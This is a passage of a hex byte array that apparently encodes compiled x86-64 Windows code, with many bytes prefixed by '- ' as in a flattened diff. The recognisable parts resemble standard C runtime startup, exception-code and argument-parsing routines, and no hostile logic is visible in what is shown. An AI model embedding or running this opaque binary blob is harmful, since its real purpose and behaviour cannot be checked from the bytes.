0xc1, 0x10, 0x48, 0x3b, 0xca, 0x75, 0xf3, 0x81, 0x38, - 0x8d, 0x00, 0x00, 0xc0, 0x8b, 0x7b, 0x10, 0x74, 0x7a, 0x81, 0x38, 0x8e, - 0x00, 0x00, 0xc0, 0x74, 0x6b, 0x81, 0x38, 0x8f, 0x00, 0x00, 0xc0, 0x74, - 0x5c, 0x81, 0x38, 0x90, 0x00, 0x00, 0xc0, 0x74, 0x4d, 0x81, 0x38, 0x91, - 0x00, 0x00, 0xc0, 0x74, 0x3e, 0x81, 0x38, 0x92, 0x00, 0x00, 0xc0, 0x74, - 0x2f, 0x81, 0x38, 0x93, 0x00, 0x00, 0xc0, 0x74, 0x20, 0x81, 0x38, 0xb4, - 0x02, 0x00, 0xc0, 0x74, 0x11, 0x81, 0x38, 0xb5, 0x02, 0x00, 0xc0, 0x8b, - 0xd7, 0x75, 0x40, 0xba, 0x8d, 0x00, 0x00, 0x00, 0xeb, 0x36, 0xba, 0x8e, - 0x00, 0x00, 0x00, 0xeb, 0x2f, 0xba, 0x85, 0x00, 0x00, 0x00, 0xeb, 0x28, - 0xba, 0x8a, 0x00, 0x00, 0x00, 0xeb, 0x21, 0xba, 0x84, 0x00, 0x00, 0x00, - 0xeb, 0x1a, 0xba, 0x81, 0x00, 0x00, 0x00, 0xeb, 0x13, 0xba, 0x86, 0x00, - 0x00, 0x00, 0xeb, 0x0c, 0xba, 0x83, 0x00, 0x00, 0x00, 0xeb, 0x05, 0xba, - 0x82, 0x00, 0x00, 0x00, 0x89, 0x53, 0x10, 0xb9, 0x08, 0x00, 0x00, 0x00, - 0x49, 0x8b, 0xc0, 0xff, 0x15, 0xa7, 0xcc, 0x00, 0x00, 0x89, 0x7b, 0x10, - 0xeb, 0x10, 0x8b, 0x48, 0x04, 0x4c, 0x89, 0x48, 0x08, 0x49, 0x8b, 0xc0, - 0xff, 0x15, 0x92, 0xcc, 0x00, 0x00, 0x48, 0x89, 0x6b, 0x08, 0xe9, 0x13, - 0xff, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, - 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, - 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, - 0xf8, 0x8b, 0x0a, 0xe8, 0xec, 0x37, 0x00, 0x00, 0x90, 0x48, 0x8b, 0xcf, - 0xe8, 0x13, 0x00, 0x00, 0x00, 0x90, 0x8b, 0x0b, 0xe8, 0x2f, 0x38, 0x00, - 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x80, 0x3d, 0xc8, - 0x8b, 0x01, 0x00, 0x00, 0x0f, 0x85, 0x9f, 0x00, 0x00, 0x00, 0xb8, 0x01, - 0x00, 0x00, 0x00, 0x87, 0x05, 0xa7, 0x8b, 0x01, 0x00, 0x48, 0x8b, 0x01, - 0x8b, 0x08, 0x85, 0xc9, 0x75, 0x34, 0x48, 0x8b, 0x05, 0x07, 0x79, 0x01, - 0x00, 0x8b, 0xc8, 0x83, 0xe1, 0x3f, 0x48, 0x8b, 0x15, 0x93, 0x8b, 0x01, - 0x00, 0x48, 0x3b, 0xd0, 0x74, 0x13, 0x48, 0x33, 0xc2, 0x48, 0xd3, 0xc8, - 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x15, 0xe3, 0xcb, 0x00, - 0x00, 0x48, 0x8d, 0x0d, 0xac, 0x8c, 0x01, 0x00, 0xeb, 0x0c, 0x83, 0xf9, - 0x01, 0x75, 0x0d, 0x48, 0x8d, 0x0d, 0xb6, 0x8c, 0x01, 0x00, 0xe8, 0x1d, - 0x09, 0x00, 0x00, 0x90, 0x48, 0x8b, 0x03, 0x83, 0x38, 0x00, 0x75, 0x13, - 0x48, 0x8d, 0x15, 0x29, 0xcc, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x02, 0xcc, - 0x00, 0x00, 0xe8, 0x01, 0xfd, 0xff, 0xff, 0x48, 0x8d, 0x15, 0x26, 0xcc, - 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x17, 0xcc, 0x00, 0x00, 0xe8, 0xee, 0xfc, - 0xff, 0xff, 0x48, 0x8b, 0x43, 0x08, 0x83, 0x38, 0x00, 0x75, 0x0e, 0xc6, - 0x05, 0x2a, 0x8b, 0x01, 0x00, 0x01, 0x48, 0x8b, 0x43, 0x10, 0xc6, 0x00, - 0x01, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xe8, 0xe0, 0x0a, 0x00, 0x00, - 0x90, 0xcc, 0xcc, 0xcc, 0x33, 0xc0, 0x81, 0xf9, 0x63, 0x73, 0x6d, 0xe0, - 0x0f, 0x94, 0xc0, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x44, 0x89, 0x44, - 0x24, 0x18, 0x89, 0x54, 0x24, 0x10, 0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, - 0xec, 0x50, 0x8b, 0xd9, 0x45, 0x85, 0xc0, 0x75, 0x4a, 0x33, 0xc9, 0xff, - 0x15, 0x73, 0xc9, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x3d, 0xb9, 0x4d, - 0x5a, 0x00, 0x00, 0x66, 0x39, 0x08, 0x75, 0x33, 0x48, 0x63, 0x48, 0x3c, - 0x48, 0x03, 0xc8, 0x81, 0x39, 0x50, 0x45, 0x00, 0x00, 0x75, 0x24, 0xb8, - 0x0b, 0x02, 0x00, 0x00, 0x66, 0x39, 0x41, 0x18, 0x75, 0x19, 0x83, 0xb9, - 0x84, 0x00, 0x00, 0x00, 0x0e, 0x76, 0x10, 0x83, 0xb9, 0xf8, 0x00, 0x00, - 0x00, 0x00, 0x74, 0x07, 0x8b, 0xcb, 0xe8, 0xa1, 0x00, 0x00, 0x00, 0x48, - 0x8d, 0x45, 0x18, 0xc6, 0x45, 0x28, 0x00, 0x48, 0x89, 0x45, 0xe0, 0x4c, - 0x8d, 0x4d, 0xd4, 0x48, 0x8d, 0x45, 0x20, 0x48, 0x89, 0x45, 0xe8, 0x4c, - 0x8d, 0x45, 0xe0, 0x48, 0x8d, 0x45, 0x28, 0x48, 0x89, 0x45, 0xf0, 0x48, - 0x8d, 0x55, 0xd8, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xd0, - 0x89, 0x45, 0xd4, 0x89, 0x45, 0xd8, 0xe8, 0x55, 0xfe, 0xff, 0xff, 0x83, - 0x7d, 0x20, 0x00, 0x74, 0x0b, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x83, - 0xc4, 0x50, 0x5d, 0xc3, 0x8b, 0xcb, 0xe8, 0x01, 0x00, 0x00, 0x00, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, 0xe8, 0xa7, 0x36, 0x00, - 0x00, 0x83, 0xf8, 0x01, 0x74, 0x28, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, - 0x00, 0x00, 0x00, 0x8b, 0x90, 0xbc, 0x00, 0x00, 0x00, 0xc1, 0xea, 0x08, - 0xf6, 0xc2, 0x01, 0x75, 0x11, 0xff, 0x15, 0x65, 0xc8, 0x00, 0x00, 0x48, - 0x8b, 0xc8, 0x8b, 0xd3, 0xff, 0x15, 0x62, 0xc8, 0x00, 0x00, 0x8b, 0xcb, - 0xe8, 0x0b, 0x00, 0x00, 0x00, 0x8b, 0xcb, 0xff, 0x15, 0x1b, 0xc9, 0x00, - 0x00, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, - 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x38, 0x8b, 0xd9, 0x48, - 0x8d, 0x15, 0x06, 0xdf, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x15, 0xfe, 0xc8, - 0x00, 0x00, 0x85, 0xc0, 0x74, 0x1f, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, - 0x8d, 0x15, 0x06, 0xdf, 0x00, 0x00, 0xff, 0x15, 0xc8, 0xc8, 0x00, 0x00, - 0x48, 0x85, 0xc0, 0x74, 0x08, 0x8b, 0xcb, 0xff, 0x15, 0x1b, 0xca, 0x00, - 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, - 0x15, 0xa3, 0xc8, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, - 0x48, 0x89, 0x0d, 0x95, 0x89, 0x01, 0x00, 0xc3, 0x33, 0xd2, 0x33, 0xc9, - 0x44, 0x8d, 0x42, 0x01, 0xe9, 0x87, 0xfe, 0xff, 0xff, 0xcc, 0xcc, 0xcc, - 0x45, 0x33, 0xc0, 0x41, 0x8d, 0x50, 0x02, 0xe9, 0x78, 0xfe, 0xff, 0xff, - 0x8b, 0x05, 0x6a, 0x89, 0x01, 0x00, 0xc3, 0xcc, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, - 0x20, 0x4c, 0x8b, 0x7c, 0x24, 0x60, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xd8, - 0x4c, 0x8b, 0xf2, 0x48, 0x8b, 0xf9, 0x49, 0x83, 0x27, 0x00, 0x49, 0xc7, - 0x01, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x74, 0x07, 0x48, 0x89, - 0x1a, 0x49, 0x83, 0xc6, 0x08, 0x40, 0x32, 0xed, 0x80, 0x3f, 0x22, 0x75, - 0x0f, 0x40, 0x84, 0xed, 0x40, 0xb6, 0x22, 0x40, 0x0f, 0x94, 0xc5, 0x48, - 0xff, 0xc7, 0xeb, 0x37, 0x49, 0xff, 0x07, 0x48, 0x85, 0xdb, 0x74, 0x07, - 0x8a, 0x07, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x0f, 0xbe, 0x37, 0x48, 0xff, - 0xc7, 0x8b, 0xce, 0xe8, 0xec, 0x4c, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x12, - 0x49, 0xff, 0x07, 0x48, 0x85, 0xdb, 0x74, 0x07, 0x8a, 0x07, 0x88, 0x03, - 0x48, 0xff, 0xc3, 0x48, 0xff, 0xc7, 0x40, 0x84, 0xf6, 0x74, 0x1c, 0x40, - 0x84, 0xed, 0x75, 0xb0, 0x40, 0x80, 0xfe, 0x20, 0x74, 0x06, 0x40, 0x80, - 0xfe, 0x09, 0x75, 0xa4, 0x48, 0x85, 0xdb, 0x74, 0x09, 0xc6, 0x43, 0xff, - 0x00, 0xeb, 0x03, 0x48, 0xff, 0xcf, 0x40, 0x32, 0xf6, 0x8a, 0x07, 0x84, - 0xc0, 0x0f, 0x84, 0xd4, 0x00, 0x00, 0x00, 0x3c, 0x20, 0x74, 0x04, 0x3c, - 0x09, 0x75, 0x07, 0x48, 0xff, 0xc7, 0x8a, 0x07, 0xeb, 0xf1, 0x84, 0xc0, - 0x0f, 0x84, 0xbd, 0x00, 0x00, 0x00, 0x4d, 0x85, 0xf6, 0x74, 0x07, 0x49, - 0x89, 0x1e, 0x49, 0x83, 0xc6, 0x08, 0x49, 0xff, 0x04, 0x24, 0xba, 0x01, - 0x00, 0x00, 0x00, 0x33, 0xc0, 0xeb, 0x05, 0x48, 0xff, 0xc7, 0xff, 0xc0, - 0x8a, 0x0f, 0x80, 0xf9, 0x5c, 0x74, 0xf4, 0x80, 0xf9, 0x22, 0x75, 0x30, - 0x84, 0xc2, 0x75, 0x18, 0x40, 0x84, 0xf6, 0x74, 0x0a, 0x38, 0x4f, 0x01, - 0x75, 0x05, 0x48, 0xff, 0xc7, 0xeb, 0x09, 0x33, 0xd2, 0x40, 0x84, 0xf6, - 0x40, 0x0f, 0x94, 0xc6, 0xd1, 0xe8, 0xeb, 0x10, 0xff, 0xc8, 0x48, 0x85, - 0xdb, 0x74, 0x06, 0xc6, 0x03, 0x5c, 0x48, 0xff, 0xc3, 0x49, 0xff, 0x07, - 0x85, 0xc0, 0x75, 0xec, 0x8a, 0x07, 0x84, 0xc0, 0x74, 0x46, 0x40, 0x84, - 0xf6, 0x75, 0x08, 0x3c, 0x20, 0x74, 0x3d, 0x3c, 0x09, 0x74, 0x39, 0x85, - 0xd2, 0x74, 0x2d, 0x48, 0x85, 0xdb, 0x74, 0x07, 0x88, 0x03, 0x48, 0xff, - 0xc3, 0x8a, 0x07, 0x0f, 0xbe, 0xc8, 0xe8, 0x05, 0x4c, 0x00, 0x00, 0x85, - 0xc0, 0x74, 0x12, 0x49, 0xff, 0x07, 0x48, 0xff, 0xc7, 0x48, 0x85, 0xdb, - 0x74, 0x07, 0x8a, 0x07, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x49, 0xff, 0x07, - 0x48, 0xff, 0xc7, 0xe9, 0x66, 0xff, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x74, - 0x06, 0xc6, 0x03, 0x00, 0x48, 0xff, 0xc3, 0x49, 0xff, 0x07, 0xe9, 0x22, - 0xff, 0xff, 0xff, 0x4d, 0x85, 0xf6, 0x74, 0x04, 0x49, 0x83, 0x26, 0x00, - 0x49, 0xff, 0x04, 0x24, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, - 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, - 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0xc3, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0xb8, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0x1f, 0x4c, 0x8b, 0xca, 0x48, 0x3b, 0xc8, 0x73, 0x3d, - 0x33, 0xd2, 0x48, 0x83, 0xc8, 0xff, 0x49, 0xf7, 0xf0, 0x4c, 0x3b, 0xc8, - 0x73, 0x2f, 0x48, 0xc1, 0xe1, 0x03, 0x4d, 0x0f, 0xaf, 0xc8, 0x48, 0x8b, - 0xc1, 0x48, 0xf7, 0xd0, 0x49, 0x3b, 0xc1, 0x76, 0x1c, 0x49, 0x03, 0xc9, - 0xba, 0x01, 0x00, 0x00, 0x00, 0xe8, 0x16, 0x34, 0x00, 0x00, 0x33, 0xc9, - 0x48, 0x8b, 0xd8, 0xe8, 0x8c, 0x12, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0xeb, - 0x02, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, - 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x30, 0x33, 0xff, 0x44, 0x8b, 0xf1, - 0x85, 0xc9, 0x0f, 0x84, 0x53, 0x01, 0x00, 0x00, 0x8d, 0x41, 0xff, 0x83, - 0xf8, 0x01, 0x76, 0x16, 0xe8, 0x2f, 0x12, 0x00, 0x00, 0x8d, 0x5f, 0x16, - 0x89, 0x18, 0xe8, 0x05, 0x11, 0x00, 0x00, 0x8b, 0xfb, 0xe9, 0x35, 0x01, - 0x00, 0x00, 0xe8, 0x51, 0x47, 0x00, 0x00, 0x48, 0x8d, 0x1d, 0x16, 0x87, - 0x01, 0x00, 0x41, 0xb8, 0x04, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xd3, 0x33, - 0xc9, 0xe8, 0xf2, 0x3e, 0x00, 0x00, 0x48, 0x8b, 0x35, 0xd7, 0x90, 0x01, - 0x00, 0x48, 0x89, 0x1d, 0xb0, 0x90, 0x01, 0x00, 0x48, 0x85, 0xf6, 0x74, - 0x05, 0x40, 0x38, 0x3e, 0x75, 0x03, 0x48, 0x8b, 0xf3, 0x48, 0x8d, 0x45, - 0x48, 0x48, 0x89, 0x7d, 0x40, 0x4c, 0x8d, 0x4d, 0x40, 0x48, 0x89, 0x44, - 0x24, 0x20, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x7d, 0x48, 0x33, 0xd2, 0x48, - 0x8b, 0xce, 0xe8, 0x49, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0x7d, 0x40, 0x41, - 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0x48, 0x49, 0x8b, 0xcf, - 0xe8, 0xf3, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x75, - 0x18, 0xe8, 0xa2, 0x11, 0x00, 0x00, 0xbb, 0x0c, 0x00, 0x00, 0x00, 0x33, - 0xc9, 0x89, 0x18, 0xe8, 0xb4, 0x11, 0x00, 0x00, 0xe9, 0x6a, 0xff, 0xff, - 0xff, 0x4e, 0x8d, 0x04, 0xf8, 0x48, 0x8b, 0xd3, 0x48, 0x8d, 0x45, 0x48, - 0x48, 0x8b, 0xce, 0x4c, 0x8d, 0x4d, 0x40, 0x48, 0x89, 0x44, 0x24, 0x20, - 0xe8, 0xf7, 0xfc, 0xff, 0xff, 0x41, 0x83, 0xfe, 0x01, 0x75, 0x16, 0x8b, - 0x45, 0x40, 0xff, 0xc8, 0x48, 0x89, 0x1d, 0x2d, 0x90, 0x01, 0x00, 0x89, - 0x05, 0x1f, 0x90, 0x01, 0x00, 0x33, 0xc9, 0xeb, 0x69, 0x48, 0x8d, 0x55, - 0x38, 0x48, 0x89, 0x7d, 0x38, 0x48, 0x8b, 0xcb, 0xe8, 0x1b, 0x3d, 0x00, - 0x00, 0x8b, 0xf0, 0x85, 0xc0, 0x74, 0x19, 0x48, 0x8b, 0x4d, 0x38, 0xe8, - 0x58, 0x11, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x89, 0x7d, 0x38, 0xe8, - 0x4c, 0x11, 0x00, 0x00, 0x8b, 0xfe, 0xeb, 0x3f, 0x48, 0x8b, 0x55, 0x38, - 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0xc2, 0x48, 0x39, 0x3a, 0x74, 0x0c, 0x48, - 0x8d, 0x40, 0x08, 0x48, 0xff, 0xc1, 0x48, 0x39, 0x38, 0x75, 0xf4, 0x89, - 0x0d, 0xcb, 0x8f, 0x01, 0x00, 0x33, 0xc9, 0x48, 0x89, 0x7d, 0x38, 0x48, - 0x89, 0x15, 0xc6, 0x8f, 0x01, 0x00, 0xe8, 0x15, 0x11, 0x00, 0x00, 0x48, - 0x8b, 0xcb, 0x48, 0x89, 0x7d, 0x38, 0xe8, 0x09, 0x11, 0x00, 0x00, 0x48, - 0x8b, 0x5c, 0x24, 0x60, 0x8b, 0xc7, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5f, - 0x41, 0x5e, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x33, 0xff, 0x48, 0x39, 0x3d, 0xcd, - 0x86, 0x01, 0x00, 0x74, 0x04, 0x33, 0xc0, 0xeb, 0x48, 0xe8, 0xee, 0x45, - 0x00, 0x00, 0xe8, 0xe1, 0x4a, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, - 0xc0, 0x75, 0x05, 0x83, 0xcf, 0xff, 0xeb, 0x27, 0x48, 0x8b, 0xcb, 0xe8, - 0x34, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x05, 0x83, 0xcf, 0xff, - 0xeb, 0x0e, 0x48, 0x89, 0x05, 0xaf, 0x86, 0x01, 0x00, 0x48, 0x89, 0x05, - 0x90, 0x86, 0x01, 0x00, 0x33, 0xc9, 0xe8, 0x9d, 0x10, 0x00, 0x00, 0x48, - 0x8b, 0xcb, 0xe8, 0x95, 0x10, 0x00, 0x00, 0x8b, 0xc7, 0x48, 0x8b, 0x5c, - 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, 0x4c, 0x8b, 0xf1, 0x33, - 0xf6, 0x8b, 0xce, 0x4d, 0x8b, 0xc6, 0x41, 0x8a, 0x16, 0xeb, 0x24, 0x80, - 0xfa, 0x3d, 0x48, 0x8d, 0x41, 0x01, 0x48, 0x0f, 0x44, 0xc1, 0x48, 0x8b, - 0xc8, 0x48, 0x83, 0xc8, 0xff, 0x48, 0xff, 0xc0, 0x41, 0x38, 0x34, 0x00, - 0x75, 0xf7, 0x49, 0xff, 0xc0, 0x4c, 0x03, 0xc0, 0x41, 0x8a, 0x10, 0x84, - 0xd2, 0x75, 0xd8, 0x48, 0xff, 0xc1, 0xba, 0x08, 0x00, 0x00, 0x00, 0xe8, - 0xac, 0x31, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x6c, - 0x4c, 0x8b, 0xf8, 0x41, 0x8a, 0x06, 0x84, 0xc0, 0x74, 0x5f, 0x48, 0x83, - 0xcd, 0xff, 0x48, 0xff, 0xc5, 0x41, 0x38, 0x34, 0x2e, 0x75, 0xf7, 0x48, - 0xff, 0xc5, 0x3c, 0x3d, 0x74, 0x35, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, - 0x8b, 0xcd, 0xe8, 0x79, 0x31, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, - 0xc0, 0x74, 0x25, 0x4d, 0x8b, 0xc6, 0x48, 0x8b, 0xd5, 0x48, 0x8b, 0xc8, - 0xe8, 0xa7, 0x04, 0x00, 0x00, 0x33, 0xc9, 0x85, 0xc0, 0x75, 0x48, 0x49, - 0x89, 0x3f, 0x49, 0x83, 0xc7, 0x08, 0xe8, 0xd1, 0x0f, 0x00, 0x00, 0x4c, - 0x03, 0xf5, 0xeb, 0xab, 0x48, 0x8b, 0xcb, 0xe8, 0x44, 0x00, 0x00, 0x00, - 0x33, 0xc9, 0xe8, 0xbd, 0x0f, 0x00, 0x00, 0xeb, 0x03, 0x48, 0x8b, 0xf3, - 0x33, 0xc9, 0xe8, 0xb1, 0x0f, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x50, - 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, - 0x58, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0x45, - 0x33, 0xc9, 0x48, 0x89, 0x74, 0x24, 0x20, 0x45, 0x33, 0xc0, 0x33, 0xd2, - 0xe8, 0x63, 0x0e, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, - 0x3b, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, - 0x8b, 0x01, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0xf9, 0xeb, 0x0f, 0x48, 0x8b, - 0xc8, 0xe8, 0x5e, 0x0f, 0x00, 0x00, 0x48, 0x8d, 0x7f, 0x08, 0x48, 0x8b, - 0x07, 0x48, 0x85, 0xc0, 0x75, 0xec, 0x48, 0x8b, 0xcb, 0xe8, 0x4a, 0x0f, - 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x09, 0x48, - 0x3b, 0x0d, 0x32, 0x85, 0x01, 0x00, 0x74, 0x05, 0xe8, 0xa7, 0xff, 0xff, - 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x48, 0x8b, 0x09, 0x48, 0x3b, 0x0d, 0x0e, 0x85, 0x01, 0x00, 0x74, 0x05, - 0xe8, 0x8b, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0x48, 0x8d, 0x0d, 0xe5, 0x84, 0x01, 0x00, 0xe8, - 0xb8, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0xe1, 0x84, 0x01, 0x00, 0xe8, - 0xc8, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0xe5, 0x84, 0x01, 0x00, 0xe8, - 0x5c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0xd1, 0x84, 0x01, 0x00, 0x48, - 0x83, 0xc4, 0x28, 0xe9, 0x4c, 0xff, 0xff, 0xff, 0xe9, 0xd3, 0xfd, 0xff, - 0xff, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, - 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, - 0xf8, 0x8b, 0x0a, 0xe8, 0x7c, 0x2f, 0x00, 0x00, 0x90, 0x48, 0x8b, 0xcf, - 0xe8, 0x17, 0x00, 0x00, 0x00, 0x8b, 0xf8, 0x8b, 0x0b, 0xe8, 0xbe, 0x2f, - 0x00, 0x00, 0x8b, 0xc7, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, - 0x20, 0x5f, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x01, 0x48, 0x8b, 0xf1, 0x48, 0x8b, - 0x18, 0x48, 0x85, 0xdb, 0x75, 0x08, 0x83, 0xc8, 0xff, 0xe9, 0xcf, 0x00, - 0x00, 0x00, 0x4c, 0x8b, 0x05, 0x8f, 0x70, 0x01, 0x00, 0x41, 0x8b, 0xc8, - 0x49, 0x8b, 0xf8, 0x48, 0x33, 0x3b, 0x83, 0xe1, 0x3f, 0x48, 0x8b, 0x5b, - 0x08, 0x48, 0xd3, 0xcf, 0x49, 0x33, 0xd8, 0x48, 0xd3, 0xcb, 0x48, 0x8d, - 0x47, 0xff, 0x48, 0x83, 0xf8, 0xfd, 0x0f, 0x87, 0x9f, 0x00, 0x00, 0x00, - 0x41, 0x8b, 0xc8, 0x4d, 0x8b, 0xf0, 0x83, 0xe1, 0x3f, 0x4c, 0x8b, 0xff, - 0x48, 0x8b, 0xeb, 0x48, 0x83, 0xeb, 0x08, 0x48, 0x3b, 0xdf, 0x72, 0x55, - 0x48, 0x8b, 0x03, 0x49, 0x3b, 0xc6, 0x74, 0xef, 0x49, 0x33, 0xc0, 0x4c, - 0x89, 0x33, 0x48, 0xd3, 0xc8, 0xff, 0x15, 0x39, 0xc3, 0x00, 0x00, 0x4c, - 0x8b, 0x05, 0x32, 0x70, 0x01, 0x00, 0x48, 0x8b, 0x06, 0x41, 0x8b, 0xc8, - 0x83, 0xe1, 0x3f, 0x48, 0x8b, 0x10, 0x4c, 0x8b, 0x0a, 0x48, 0x8b, 0x42, - 0x08, 0x4d, 0x33, 0xc8, 0x49, 0x33, 0xc0, 0x49, 0xd3, 0xc9, 0x48, 0xd3, - 0xc8, 0x4d, 0x3b, 0xcf, 0x75, 0x05, 0x48, 0x3b, 0xc5, 0x74, 0xb0, 0x4d, - 0x8b, 0xf9, 0x49, 0x8b, 0xf9, 0x48, 0x8b, 0xe8, 0x48, 0x8b, 0xd8, 0xeb, - 0xa2, 0x48, 0x83, 0xff, 0xff, 0x74, 0x0f, 0x48, 0x8b, 0xcf, 0xe8, 0xb1, - 0x0d, 0x00, 0x00, 0x4c, 0x8b, 0x05, 0xe6, 0x6f, 0x01, 0x00, 0x48, 0x8b, - 0x06, 0x48, 0x8b, 0x08, 0x4c, 0x89, 0x01, 0x48, 0x8b, 0x06, 0x48, 0x8b, - 0x08, 0x4c, 0x89, 0x41, 0x08, 0x48, 0x8b, 0x06, 0x48, 0x8b, 0x08, 0x4c, - 0x89, 0x41, 0x10, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, - 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, - 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x49, - 0x89, 0x4b, 0x08, 0x48, 0x83, 0xec, 0x38, 0x49, 0x8d, 0x43, 0x08, 0x49, - 0x89, 0x43, 0xe8, 0x4d, 0x8d, 0x4b, 0x18, 0xb8, 0x02, 0x00, 0x00, 0x00, - 0x4d, 0x8d, 0x43, 0xe8, 0x49, 